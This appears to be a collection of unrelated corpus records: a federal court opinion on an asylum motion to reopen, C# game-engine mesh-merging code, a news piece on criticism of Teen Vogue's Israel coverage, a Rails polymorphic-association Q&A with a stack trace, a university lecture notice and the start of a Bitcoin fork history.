"\n\n Although some courts have held that evidence of new campaigns of forced\nsterilization—if consistent with government reports describing recent crack-\ndowns—may justify a motion to reopen, see, e.g., Li v. U.S. Att’y Gen., 488 F.3d\n1371, 1375 (11th Cir. ",
"2007); Chen v. Gonzales, 490 F.3d 180, 183 (2d Cir. ",
"2007), Liu\n\fNo. ",
"07-1845 Page 5\n\n\nhas not pointed to any evidence supporting her argument that the family planning\ndocument describes a change in conditions. ",
"Her “new” evidence is actually\nconsistent with State Department reports she submitted along with her asylum\napplication. ",
"The 2002 Country Report states that in at least one province, “rules\nstate that ‘unplanned pregnancies must be aborted immediately.’” ",
"The 1998 profile\nof China asylum applications notes that some local officials under pressure to meet\npopulation targets used methods including forced abortions and sterilization to\nenforce family planning policies. ",
"Liu argues that the family planning document\nshows that the centralized government now condones such tactics, but it is a\nmandate from a local family planning office that makes no mention of other\ngovernment authorities. ",
"It shows only that—consistent with the earlier State\nDepartment reports—local officials advocate coercive methods of enforcing family\nplanning laws. ",
"Because the document is insufficient to show a change in conditions\nin China, the BIA did not abuse its discretion in denying her motion to reopen. ",
"See\nZhao, 440 F.3d at 407. ",
"Accordingly, we deny the petition for review.",
"\n\f"
] | {
"pile_set_name": "FreeLaw"
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[
"using System;\nusing System.",
"Collections.",
"Generic;\nusing System.",
"Diagnostics;\nusing VRage.",
"Render11.Common;\nusing VRage.",
"Render11.Resources;\nusing VRageRender.",
"Vertex;\n\nnamespace VRageRender\n{\n struct MyDraw\n {\n internal int Indices;\n internal int StartI;\n internal int BaseV;\n }\n\n struct MyMeshTableSrv_Entry\n {\n internal List<int> Pages;\n }\n\n struct MyMeshTableEntry\n {\n internal MeshId Model;\n internal int Lod;\n internal int Part;\n }\n\n\n class MyMeshTableSrv\n {\n #region Static\n internal static VertexLayoutId OneAndOnlySupportedVertexLayout;\n\n internal static void Init()\n {\n OneAndOnlySupportedVertexLayout = MyVertexLayouts.",
"GetLayout(\n new MyVertexInputComponent(MyVertexInputComponentType.",
"POSITION_PACKED),\n new MyVertexInputComponent(MyVertexInputComponentType.",
"NORMAL, 1),\n new MyVertexInputComponent(MyVertexInputComponentType.",
"TANGENT_SIGN_OF_BITANGENT, 1),\n new MyVertexInputComponent(MyVertexInputComponentType.",
"TEXCOORD0_H, 1)\n );\n }\n #endregion\n\n internal bool IsMergable(MeshId model)\n {\n var mesh = MyMeshes.",
"GetLodMesh(model, 0);\n\n MeshPartId part1;\n bool multipleParts = MyMeshes.",
"TryGetMeshPart(model, 0, 1, out part1);\n\n return !",
"multipleParts && mesh.",
"Info.",
"Data.",
"VertexLayout == OneAndOnlySupportedVertexLayout && mesh.",
"Info.",
"IndicesNum > 0 && model.",
"Info.",
"RuntimeGenerated == false && model.",
"Info.",
"Dynamic == false;\n }\n\n //List<MyVertexFormatPositionHalf4> m_vertexPositionList = new List<MyVertexFormatPositionHalf4>();\n //List<MyVertexFormatTexcoordNormalTangent> m_vertexList = new List<MyVertexFormatTexcoordNormalTangent>();\n //List<uint> m_indicesList = new List<uint>();\n\n int m_vertices;\n int m_indices;\n byte[] m_vertexStream0 = new byte[2048]; // MyVertexFormatPositionHalf4\n byte[] m_vertexStream1 = new byte[2048]; // MyVertexFormatTexcoordNormalTangent\n byte[] m_indexStream = new byte[2048]; // uint\n\n unsafe static readonly int Stride0 = sizeof(MyVertexFormatPositionH4);\n unsafe static readonly int Stride1 = sizeof(MyVertexFormatTexcoordNormalTangent);\n static readonly int IndexStride = sizeof(uint);\n\n int m_indexPageSize = 0;\n int m_pagesUsed = 0;\n\n Dictionary<MyMeshTableEntry, MyMeshTableSrv_Entry> m_table = new Dictionary<MyMeshTableEntry, MyMeshTableSrv_Entry>();\n\n internal int PageSize { get { return m_indexPageSize; } }\n\n internal ISrvBuffer m_VB_positions;\n internal ISrvBuffer m_VB_rest;\n internal ISrvBuffer m_IB;\n\n bool m_dirty;\n\n internal MyMeshTableSrv(int pageSize = 36)\n {\n // non multiple-of-3 page size?",
"\n Debug.",
"Assert((pageSize % 3) == 0);\n\n m_indexPageSize = pageSize;\n\n m_dirty = false;\n }\n\n internal int CalculateIndicesCapacity(int currentOffset, int indicesNum)\n {\n return currentOffset + ((indicesNum + m_indexPageSize - 1) / m_indexPageSize) * m_indexPageSize;\n }\n\n internal bool ContainsKey(MyMeshTableEntry key)\n {\n return m_table.",
"ContainsKey(key);\n }\n\n internal static MyMeshTableEntry MakeKey(MeshId model)\n {\n return new MyMeshTableEntry { Model = model, Lod = 0, Part = 0 };\n }\n\n internal void OnSessionEnd()\n {\n Release();\n m_vertices = 0;\n m_indices = 0;\n m_vertexStream0 = new byte[2048]; // MyVertexFormatPositionHalf4\n m_vertexStream1 = new byte[2048]; // MyVertexFormatTexcoordNormalTangent\n m_indexStream = new byte[2048]; // uint\n m_pagesUsed = 0;\n m_table.",
"Clear();\n }\n\n internal List<int> Pages(MyMeshTableEntry key)\n {\n return m_table[key].Pages;\n }\n\n internal unsafe void AddMesh(MeshId model)\n {\n Debug.",
"Assert(IsMergable(model));\n\n var key = new MyMeshTableEntry { Model = model, Lod = 0, Part = 0 };\n if (!",
"ContainsKey(key))\n {\n var vertexOffset = m_vertices;\n var indexOffset = m_indices;\n\n var mesh = MyMeshes.",
"GetLodMesh(model, 0);\n Debug.",
"Assert(mesh.",
"Info.",
"Data.",
"IndicesFmt == MyIndexBufferFormat.",
"UShort);\n\n var meshInfo = mesh.",
"Info;\n var data = meshInfo.",
"Data;\n\n int verticesCapacity = vertexOffset + meshInfo.",
"VerticesNum;\n int indicesCapacity = CalculateIndicesCapacity(indexOffset, meshInfo.",
"IndicesNum);\n\n m_vertices = verticesCapacity;\n m_indices = indicesCapacity;\n\n MyArrayHelpers.",
"Reserve(ref m_vertexStream0, verticesCapacity * Stride0, 1024 * 1024);\n MyArrayHelpers.",
"Reserve(ref m_vertexStream1, verticesCapacity * Stride1, 1024 * 1024);\n MyArrayHelpers.",
"Reserve(ref m_indexStream, indicesCapacity * IndexStride, 1024 * 1024);\n\n var list = new List<int>();\n\n fixed(byte* src = data.",
"VertexStream0, dst_ = m_vertexStream0)\n {\n byte* dst = dst_ + data.",
"Stride0 * vertexOffset;\n SharpDX.Utilities.",
"CopyMemory(new IntPtr(dst), new IntPtr(src), data.",
"Stride0 * meshInfo.",
"VerticesNum);\n }\n fixed (byte* src = data.",
"VertexStream1, dst_ = m_vertexStream1)\n {\n byte* dst = dst_ + data.",
"Stride1 * vertexOffset;\n SharpDX.Utilities.",
"CopyMemory(new IntPtr(dst), new IntPtr(src), data.",
"Stride1 * meshInfo.",
"VerticesNum);\n }\n\n fixed (void* dst = m_indexStream)\n {\n uint* stream = (uint*) dst;\n stream += indexOffset;\n fixed(void* src = data.",
"Indices)\n {\n ushort* indices = (ushort*)src;\n for (int k = 0; k < meshInfo.",
"IndicesNum; k += m_indexPageSize)\n {\n int iEnd = Math.",
"Min(k + m_indexPageSize, meshInfo.",
"IndicesNum);\n\n for (int i = k; i < iEnd; i++)\n {\n stream[i] = (uint) (indices[i] + vertexOffset);\n }\n\n list.",
"Add(m_pagesUsed++);\n }\n\n if ((meshInfo.",
"IndicesNum % m_indexPageSize) !",
"= 0)\n {\n var pageIndex = meshInfo.",
"IndicesNum / m_indexPageSize;\n var pageOffset = meshInfo.",
"IndicesNum % m_indexPageSize;\n uint lastIndex = stream[pageIndex * m_indexPageSize + pageOffset - 1];\n for (int i = pageOffset; i < m_indexPageSize; i++)\n {\n stream[pageIndex * m_indexPageSize + i] = lastIndex;\n }\n }\n }\n }\n\n m_table.",
"Add(key, new MyMeshTableSrv_Entry { Pages = list });\n m_dirty = true;\n }\n }\n\n internal unsafe void MoveToGPU()\n {\n if(m_dirty)\n {\n Release();\n \n fixed(void* ptr = m_vertexStream0)\n {\n m_VB_positions = MyManagers.",
"Buffers.",
"CreateSrv(\n \"MyMergeInstancing positions\", m_vertices, Stride0,\n new IntPtr(ptr));\n }\n fixed (void* ptr = m_vertexStream1)\n {\n m_VB_rest = MyManagers.",
"Buffers.",
"CreateSrv(\n \"MyMergeInstancing rest\", m_vertices, Stride1,\n new IntPtr(ptr));\n }\n fixed (void* ptr = m_indexStream)\n {\n m_IB = MyManagers.",
"Buffers.",
"CreateSrv(\n \"MyMergeInstancing\", m_indices, IndexStride, \n new IntPtr(ptr));\n }\n\n m_dirty = false;\n }\n }\n\n internal void OnDeviceReset()\n {\n if (m_vertices > 0)\n {\n m_dirty = true;\n }\n }\n\n internal void Release()\n {\n if (m_VB_positions !",
"= null)\n {\n MyManagers.",
"Buffers.",
"Dispose(m_VB_positions); m_VB_positions = null;\n MyManagers.",
"Buffers.",
"Dispose(m_VB_rest); m_VB_rest = null;\n MyManagers.",
"Buffers.",
"Dispose(m_IB); m_IB = null;\n }\n }\n }\n}\n"
] | {
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[
"(JTA) – Once a must-read for young fashonistas, Teen Vogue in 2016 expanded its coverage, shifting the magazine more aggressively into “covering politics, feminism, identity and activism” from an apparently liberal lens.",
"\n\nNow, among articles on makeup, celebrities and clothing trends, Teen Vogue would like to give Israel a progressive makeover.",
"\n\nThe July 16 “Do Better” column by Lincoln Anthony Blades, who writes on race, culture and society, compares the policing of minority communities in the United States and Israel, and not in a flattering way.",
"\n\n“The recent history of police violence enacted on unarmed black and brown citizens by American law enforcement mirrors the recent history of Israel treating Palestinians as violent insurgents,” Blades wrote. “",
"American law enforcement and Israeli military and law enforcement share more than similar modes of policing; they share responsibility for what many perceive are numerous human rights abuses and civil rights violations.”",
"\n\nBlades went on to say: “Until both nations make serious efforts to improve their policing practices, more civilians will die.”",
"\n\nConflating the security and policing situations of the two countries — and sometimes blaming Israel for aggressive policing by American law enforcement who have attended counterterrorism seminars in Israel — has become a common trope on the left. ",
"So have comparisons of social justice protesters here and Palestinian protesters in Israel, the West Bank and Gaza. ",
"It’s the comparison made by upstart New York congressional candidate Alexandria Ocasio-Cortez, who in an interview with Glenn Greenwald of The Intercept likened Palestinians killed by Israeli forces as they tried to breach the Gaza border fence with protesters in Ferguson, Missouri Black Lives Matter protests or the West Virginia teacher strikes.",
"\n\nThe Anti-Defamation League and other Jewish groups have long rejected the comparison, saying Palestinian protesters often use violence, and the Gaza protests in particular were orchestrated by Hamas, the terrorist group that controls the strip and has pledged Israel’s destruction.",
"\n\nIn his piece, Blades notes that American police have taken part in the counterterrorism training in Israel. ",
"But neither Blades nor others who have invoked the training have provided evidence that such such training has influenced how U.S. police deal with minorities. ",
"The ADL, which hosts many of the counterterrorism programs, points out that it is one of the nation’s leaders in offering training about implicit bias and diversity in law enforcement.",
"\n\nFar-left groups are fans of Teen Vogue’s approach on Israel. ",
"Jewish Voice for Peace and Code Pink, which both support a boycott of Israel, tweeted favorably about the Blades article.",
"\n\nAmong the critics, however, is Emily Shire, a writer who identifies as both a feminist and a Zionist. ",
"She tweeted about the Blades article, saying Teen Vogue is “shilling what seems ‘woke’ without nuance; here, it’s peddling conspiracy theories about Israel, but many topics get this treatment. ",
"It validates my worries about what’s currently the loudest version of feminism.”",
"\n\nIn February, Karen Bekker of the Committee for Accuracy in Middle East Reporting in America wrote an article titled “Intersectionality is making Teen Vogue’s editors stupid” saying that the magazine is “pushing a one-sided Palestinians narrative to its teen readers.”",
"\n\n“It’s clear from reading their coverage that Teen Vogue’s editors and writers know very little about the Israeli-Palestinian conflict or the many complex issues involved,” Bekker wrote. “",
"In discussing the topic in December of 2016, the magazine relied on far-left, anti-Israel academic Stephen Zunes, who has elsewhere – absurdly – called the First Intifada ‘non-violent’ and who falsely told Teen Vogue’s readers that there are ‘Jewish-only highways.’”",
"\n\nThat article apparently referred to a road near the West Bank settlement of Efrat, which has been closed to Palestinian cars and pedestrians since a May 2001 terrorist killing of two Jewish women.",
"\n\n“Despite employing writers with no expertise in the area, the magazine has determinedly pursued an anti-Israel agenda,” Bekker said.",
"\n\nOther Teen Vogue articles on the Israeli-Palestinian conflict — they include “A Letter to Gigi Hadid from Palestinian Youth”; “I Am a Jewish Teen and I Support the Palestinian Cause”; and “At Cannes, Attendees Are Raising Awareness About Palestinian Protester Deaths”– also reflect a left-wing commitment to “intersectionality,” which links support for marginalized groups like women, African-Americans and the LGBTQ community to the Palestinian cause.",
"\n\nKC Johnson, a history professor at Brooklyn College, former Fulbright instructor at Tel Aviv University and regular Washington Post contributor, said intersectionality ignores Israel’s relatively tolerant record on those issues.",
"\n\n“There’s a lot of evidence that defining liberalism through an intersectional lens has had the effect of casting Israel as an ‘oppressor’ and thus a nation worthy of condemnation,” Johnson told JTA earlier this month, “even as its actual policies on issues associated with intersectionality are infinitely better than those of its neighbors.”"
] | {
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[
"Q:\n\nCannot build nested polymorphic associations'. ",
"Are you trying to build a polymorphic one-to-one association\n\nI have had a similar situation where i had Activities which has one Task which has one taskable and building the task would also build the taskable, like so:\ndef new\n @activity = Activity.new\n @activity.task = @activity.build_task\nend\n\nNow i have Terms which have many TermTranslations which have many attachments which have an attachable (Image or Audio) but line 18 @term = Term.new(permitted_params[:term]) of admin/term.rb i get this error:\n\nCannot build association `attachable'. ",
"Are you trying to build a\n polymorphic one-to-one association.",
"\n\nadmin/term.rb\nActiveAdmin.register Term do\n permit_params :id, :display_name, :slug,\n term_translations_attributes: [:id, :slug, :title, :definition, :example, :language_id, :term_id, :_destroy,\n attachments_attributes: [:id, :name, :attachable_type, :attachable_id, :_destroy,\n attachable_attributes: [:id, :image_file, :audio_file, :_destroy]]]\n\n form partial: 'form'\n\n controller do\n def new\n @term = Term.new\n\n @term.term_translations.build.attachments.build\n end\n\n def create\n @term = Term.new(permitted_params[:term])\n\n @term.term_translations.each do |tt|\n tt.attachments.each do |a|\n a.attachable = create_attachable(permitted_params[:term][:term_translations_attributes])\n end\n end\n\n if @term.save\n redirect_to admin_term_path(@term)\n else\n render :new\n end\n\n end\n\n private\n\n def create_attachable(term_translations_params)\n raise term_translations_params.values[0].inspect\n attachable = term_translations_params.values[0][:attachments_attributes].values[0][:attachable_type].classify\n attachable.safe_constantize.new(term_translations_params.values[0][:attachable_attributes])\n end\n\n end\nend\n\nMODELS\nclass Term < ActiveRecord::Base\n has_many :term_translations, dependent: :destroy\n has_many :activities\n\n accepts_nested_attributes_for :term_translations, allow_destroy: true\nend\n\n-\n\nclass TermTranslation < ActiveRecord::Base\n belongs_to :language\n belongs_to :term\n has_many :attachments, dependent: :destroy\n\n accepts_nested_attributes_for :attachments, allow_destroy: true\n\n attr_accessor :attachable_attributes\nend\n\n-\n\nclass Attachment < ActiveRecord::Base\n belongs_to :term_translation\n belongs_to :attachable, polymorphic: true, dependent: :destroy\n\n accepts_nested_attributes_for :attachable, allow_destroy: true\nend\n\n-\n\nclass Image < ActiveRecord::Base\n has_attached_file :image_file, path: '/images/:filename'\n\n validates_attachment_content_type :image_file, content_type: /\\Aimage\\/.*\\Z/\n\n has_one :attachment, as: :attachable\nend\n\nViews\nadmin/terms/_form.html.erb:\n<%= semantic_form_for [:admin, @term], :builder => ActiveAdmin::FormBuilder, multipart: true do |f| %>\n\n <%= f.semantic_errors *f.object.errors.keys %>\n\n <%= f.inputs 'Details' do %>\n <%= f.input :display_name %>\n <%= f.input :slug %>\n <% end %>\n\n <%= render partial: '/admin/term_translations/form', locals: {f: f} %>\n\n <%= f.actions %>\n<% end %>\n\nadmin/term_translations/_form.html.erb:\n<% f.has_many :term_translations, heading: 'Translations', allow_destroy: true, new_record: true, multipart: true do |t| %>\n <% t.input :title %>\n <% t.input :slug %>\n <% t.input :language %>\n\n <% t.has_many :attachments, heading: 'Attachments', allow_destroy: true, new_record: true, multipart: true do |a| %>\n <% a.input :name %>\n\n <% if a.object.attachable %>\n <% a.input :attachable_type, as: :string, :input_html => { readonly: true } %>\n <% else %>\n <% a.input :attachable_type, as: :select, collection: ['Image', 'Audio'] %>\n <% end %>\n\n <div id='attachable_partial_container'>\n <% if a.object.attachable.class.to_s == 'Image' %>\n <%= render partial: '/admin/images/form', locals: { a: a } %>\n <% elsif a.object.attachable.class.to_s == 'Audio' %>\n <%= render partial: '/admin/audios/form', locals: { a: a } %>\n <% end %>\n </div>\n\n <script type=\"text/javascript\">\n $(function () {\n $('#term_term_translations_attributes_NEW_TERM_TRANSLATION_RECORD_attachments_attributes_NEW_ATTACHMENT_RECORD_attachable_type_input').change(onTypeSelected);\n\n function onTypeSelected(e) {\n if (e.val === 'Image')\n $('#attachable_partial_container').replaceWith(renderImage());\n else if (e.val === 'Audio')\n $('#attachable_partial_container').replaceWith(renderAudio());\n }\n\n function renderImage() {\n return (\n \"<div id='attachable_partial_container'>\" +\n \"<%= escape_javascript render partial: '/admin/images/form', locals: {a: a} %>\" +\n \"</div\"\n );\n }\n\n function renderAudio() {\n return (\n \"<div id='attachable_partial_container'>\" +\n \"<%= escape_javascript render partial: '/admin/audios/form', locals: {a: a} %>\" +\n \"</div\"\n );\n }\n });\n </script>\n <% end %>\n<% end %>\n\nadmin/images/_form.html.erb:\n<%= a.inputs for: [:attachable_attributes, a.object.attachable || Image.new], multipart: true do |i| %>\n <% i.input :image_file, as: :file, multipart: true %>\n<% end %>\n\nadmin/audios/_form.html.erb:\n<%= a.inputs for: [:attachable_attributes, a.object.attachable || Audio.new], multipart: true do |i| %>\n <% i.input :audio_file, as: :file, multipart: true %>\n<% end %>\n\nStack Trace\nactiverecord (4.2.0) lib/active_record/nested_attributes.rb:400:in `assign_nested_attributes_for_one_to_one_association'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:343:in `attachable_attributes='\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `public_send'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `_assign_attribute'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `block in assign_nested_parameter_attributes'\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `each'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `assign_nested_parameter_attributes'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:45:in `assign_attributes'\nactiverecord (4.2.0) lib/active_record/core.rb:557:in `init_attributes'\n activerecord (4.2.0) lib/active_record/core.rb:280:in `initialize'\n activerecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\nactiverecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\n activerecord (4.2.0) lib/active_record/reflection.rb:131:in `build_association'\n activerecord (4.2.0) lib/active_record/associations/association.rb:247:in `build_record'\nactiverecord (4.2.0) lib/active_record/associations/collection_association.rb:136:in `build'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:465:in `block in assign_nested_attributes_for_collection_association'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:460:in `each'\nactiverecord (4.2.0) lib/active_record/nested_attributes.rb:460:in `assign_nested_attributes_for_collection_association'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:343:in `attachments_attributes='\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `public_send'\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `_assign_attribute'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `block in assign_nested_parameter_attributes'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `each'\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `assign_nested_parameter_attributes'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:45:in `assign_attributes'\n activerecord (4.2.0) lib/active_record/core.rb:557:in `init_attributes'\nactiverecord (4.2.0) lib/active_record/core.rb:280:in `initialize'\n activerecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\n activerecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\nactiverecord (4.2.0) lib/active_record/reflection.rb:131:in `build_association'\n activerecord (4.2.0) lib/active_record/associations/association.rb:247:in `build_record'\n activerecord (4.2.0) lib/active_record/associations/collection_association.rb:136:in `build'\nactiverecord (4.2.0) lib/active_record/nested_attributes.rb:465:in `block in assign_nested_attributes_for_collection_association'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:460:in `each'\n activerecord (4.2.0) lib/active_record/nested_attributes.rb:460:in `assign_nested_attributes_for_collection_association'\nactiverecord (4.2.0) lib/active_record/nested_attributes.rb:343:in `term_translations_attributes='\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `public_send'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:54:in `_assign_attribute'\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `block in assign_nested_parameter_attributes'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `each'\n activerecord (4.2.0) lib/active_record/attribute_assignment.rb:65:in `assign_nested_parameter_attributes'\nactiverecord (4.2.0) lib/active_record/attribute_assignment.rb:45:in `assign_attributes'\n activerecord (4.2.0) lib/active_record/core.rb:557:in `init_attributes'\n activerecord (4.2.0) lib/active_record/core.rb:280:in `initialize'\nactiverecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\n activerecord (4.2.0) lib/active_record/inheritance.rb:61:in `new'\n app/admin/term.rb:18:in `create'\nactionpack (4.2.0) lib/action_controller/metal/implicit_render.rb:4:in `send_action'\n actionpack (4.2.0) lib/abstract_controller/base.rb:198:in `process_action'\n actionpack (4.2.0) lib/action_controller/metal/rendering.rb:10:in `process_action'\nactionpack (4.2.0) lib/abstract_controller/callbacks.rb:20:in `block in process_action'\n activesupport (4.2.0) lib/active_support/callbacks.rb:117:in `call'\n activesupport (4.2.0) lib/active_support/callbacks.rb:151:in `block in halting_and_conditional'\nactivesupport (4.2.0) lib/active_support/callbacks.rb:169:in `block in halting'\n activesupport (4.2.0) lib/active_support/callbacks.rb:169:in `block in halting'\n activesupport (4.2.0) lib/active_support/callbacks.rb:169:in `block in halting'\nactivesupport (4.2.0) lib/active_support/callbacks.rb:234:in `block in halting'\n activesupport (4.2.0) lib/active_support/callbacks.rb:169:in `block in halting'\n activesupport (4.2.0) lib/active_support/callbacks.rb:169:in `block in halting'\nactivesupport (4.2.0) lib/active_support/callbacks.rb:92:in `_run_callbacks'\n activesupport (4.2.0) lib/active_support/callbacks.rb:734:in `_run_process_action_callbacks'\n activesupport (4.2.0) lib/active_support/callbacks.rb:81:in `run_callbacks'\nactionpack (4.2.0) lib/abstract_controller/callbacks.rb:19:in `process_action'\n actionpack (4.2.0) lib/action_controller/metal/rescue.rb:29:in `process_action'\n actionpack (4.2.0) lib/action_controller/metal/instrumentation.rb:31:in `block in process_action'\nactivesupport (4.2.0) lib/active_support/notifications.rb:164:in `block in instrument'\n activesupport (4.2.0) lib/active_support/notifications/instrumenter.rb:20:in `instrument'\n activesupport (4.2.0) lib/active_support/notifications.rb:164:in `instrument'\nactionpack (4.2.0) lib/action_controller/metal/instrumentation.rb:30:in `process_action'\n actionpack (4.2.0) lib/action_controller/metal/params_wrapper.rb:250:in `process_action'\n activerecord (4.2.0) lib/active_record/railties/controller_runtime.rb:18:in `process_action'\nactionpack (4.2.0) lib/abstract_controller/base.rb:137:in `process'\n actionview (4.2.0) lib/action_view/rendering.rb:30:in `process'\n actionpack (4.2.0) lib/action_controller/metal.rb:195:in `dispatch'\nactionpack (4.2.0) lib/action_controller/metal/rack_delegation.rb:13:in `dispatch'\n actionpack (4.2.0) lib/action_controller/metal.rb:236:in `block in action'\n actionpack (4.2.0) lib/action_dispatch/routing/route_set.rb:73:in `dispatch'\nactionpack (4.2.0) lib/action_dispatch/routing/route_set.rb:42:in `serve'\n actionpack (4.2.0) lib/action_dispatch/journey/router.rb:43:in `block in serve'\n actionpack (4.2.0) lib/action_dispatch/journey/router.rb:30:in `each'\nactionpack (4.2.0) lib/action_dispatch/journey/router.rb:30:in `serve'\n actionpack (4.2.0) lib/action_dispatch/routing/route_set.rb:802:in `call'\n warden (1.2.7) lib/warden/manager.rb:36:in `block in call'\nwarden (1.2.7) lib/warden/manager.rb:35:in `catch'\n warden (1.2.7) lib/warden/manager.rb:35:in `call'\n rack (1.6.8) lib/rack/etag.rb:24:in `call'\nrack (1.6.8) lib/rack/conditionalget.rb:38:in `call'\n rack (1.6.8) lib/rack/head.rb:13:in `call'\n actionpack (4.2.0) lib/action_dispatch/middleware/params_parser.rb:27:in `call'\nactionpack (4.2.0) lib/action_dispatch/middleware/flash.rb:260:in `call'\n rack (1.6.8) lib/rack/session/abstract/id.rb:225:in `context'\n rack (1.6.8) lib/rack/session/abstract/id.rb:220:in `call'\nactionpack (4.2.0) lib/action_dispatch/middleware/cookies.rb:560:in `call'\n activerecord (4.2.0) lib/active_record/query_cache.rb:36:in `call'\n activerecord (4.2.0) lib/active_record/connection_adapters/abstract/connection_pool.rb:647:in `call'\nactiverecord (4.2.0) lib/active_record/migration.rb:378:in `call'\n actionpack (4.2.0) lib/action_dispatch/middleware/callbacks.rb:29:in `block in call'\n activesupport (4.2.0) lib/active_support/callbacks.rb:88:in `_run_callbacks'\nactivesupport (4.2.0) lib/active_support/callbacks.rb:734:in `_run_call_callbacks'\n activesupport (4.2.0) lib/active_support/callbacks.rb:81:in `run_callbacks'\n actionpack (4.2.0) lib/action_dispatch/middleware/callbacks.rb:27:in `call'\nactionpack (4.2.0) lib/action_dispatch/middleware/reloader.rb:73:in `call'\n actionpack (4.2.0) lib/action_dispatch/middleware/remote_ip.rb:78:in `call'\n actionpack (4.2.0) lib/action_dispatch/middleware/debug_exceptions.rb:17:in `call'\nweb-console (2.3.0) lib/web_console/middleware.rb:28:in `block in call'\n web-console (2.3.0) lib/web_console/middleware.rb:18:in `catch'\n web-console (2.3.0) lib/web_console/middleware.rb:18:in `call'\nactionpack (4.2.0) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call'\n railties (4.2.0) lib/rails/rack/logger.rb:38:in `call_app'\n railties (4.2.0) lib/rails/rack/logger.rb:20:in `block in call'\nactivesupport (4.2.0) lib/active_support/tagged_logging.rb:68:in `block in tagged'\n activesupport (4.2.0) lib/active_support/tagged_logging.rb:26:in `tagged'\n activesupport (4.2.0) lib/active_support/tagged_logging.rb:68:in `tagged'\nrailties (4.2.0) lib/rails/rack/logger.rb:20:in `call'\n actionpack (4.2.0) lib/action_dispatch/middleware/request_id.rb:21:in `call'\n rack (1.6.8) lib/rack/methodoverride.rb:22:in `call'\nrack (1.6.8) lib/rack/runtime.rb:18:in `call'\n activesupport (4.2.0) lib/active_support/cache/strategy/local_cache_middleware.rb:28:in `call'\n rack (1.6.8) lib/rack/lock.rb:17:in `call'\nactionpack (4.2.0) lib/action_dispatch/middleware/static.rb:113:in `call'\n rack (1.6.8) lib/rack/sendfile.rb:113:in `call'\n railties (4.2.0) lib/rails/engine.rb:518:in `call'\nrailties (4.2.0) lib/rails/application.rb:164:in `call'\n rack (1.6.8) lib/rack/lock.rb:17:in `call'\n rack (1.6.8) lib/rack/content_length.rb:15:in `call'\nrack (1.6.8) lib/rack/handler/webrick.rb:88:in `service'\n /Users/lancecoe/.rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/webrick/httpserver.rb:140:in `service'\n /Users/lancecoe/.rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/webrick/httpserver.rb:96:in `run'\n/Users/lancecoe/.rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/webrick/server.rb:296:in `block in start_thread'\n Request\n\n Parameters:\n\n {\"utf8\"=>\"✓\",\n \"authenticity_token\"=>\"zehGpEWIuaFoAbIcOiDiaRiP7UAZxl999YuF79fPL9yypz55Jvo/QVEi3N6idELDTElORw2OoQMu3+2+CI63Pw==\",\n \"term\"=>{\"display_name\"=>\"angle\",\n \"slug\"=>\"angle\",\n \"term_translations_attributes\"=>{\"0\"=>{\"title\"=>\"angle\",\n \"slug\"=>\"angle\",\n \"language_id\"=>\"1\",\n \"attachments_attributes\"=>{\"0\"=>{\"name\"=>\"sss\",\n \"attachable_type\"=>\"Image\",\n \"attachable_attributes\"=>{\"image_file\"=>#<ActionDispatch::Http::UploadedFile:0x007feaadf23358 @tempfile=#<Tempfile:/var/folders/xc/wjddz4j93hl7pl9d3z6ks5340000gn/T/RackMultipart20170619-14398-1ihr5sn.png>,\n @original_filename=\"Screen Shot 2017-06-19 at 5.06.39 PM.png\",\n @content_type=\"image/png\",\n @headers=\"Content-Disposition: form-data; name=\\\"term[term_translations_attributes][0][attachments_attributes][0][attachable_attributes][image_file]\\\"; filename=\\\"Screen Shot 2017-06-19 at 5.06.39 PM.png\\\"\\r\\nContent-Type: image/png\\r\\n\">}}}}}},\n \"commit\"=>\"Create Term\"}\n\nA:\n\nJust had to add this to the Attachment model\n def build_attachable(params)\n self.attachable = attachable_type.constantize.new(params)\n end\n\n"
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[
"RU Lecture by Activist Eli Clare on Feb. 8\n\nJoin the Roosevelt University community for a discussion with writer, speaker, and activist Eli Clare, author of Exile and Pride: Disability, Queerness, and Liberation. ",
"In his presentation “Stolen Bodies, Stolen Lands,” Clare will offer a fresh take on how environmental justice issues are connected to ableism, heterosexism, racism, and classism.",
"\n\nFor more information please e-mail Prof. Ellen O’Brien at eobrien@roosevelt.edu\n\nThis event is co-sponsored by the Women’s and Gender Studies Program, the Social Justice Studies Program, the Department of Economics, Feminist United, RU Proud, the Delta Gamma Pi Multicultural Sorority, and the Mansfield Institute for Social Justice and Transformation."
] | {
"pile_set_name": "Pile-CC"
} | [
0.028169014084507043,
0.0056179775280898875,
0.025423728813559324
] | 0.019737 | 5 |
[
"So far, Bitcoin has proven to be a bit tricky. ",
"Bitcoin was created in 2009, but by 2015, a problem emerged: The Bitcoin Core developers could not agree on raising the maximum blocksize limit — a necessary step to allow the network to grow.",
"\n\nIn 2017, a portion of the community (that could not abide by the technical leadership of Core) forked off to create a separate network called Bitcoin Cash. ",
"But, barely a year went by before another subset disagreed with the new development leadership and forked off again into Bitcoin SV.",
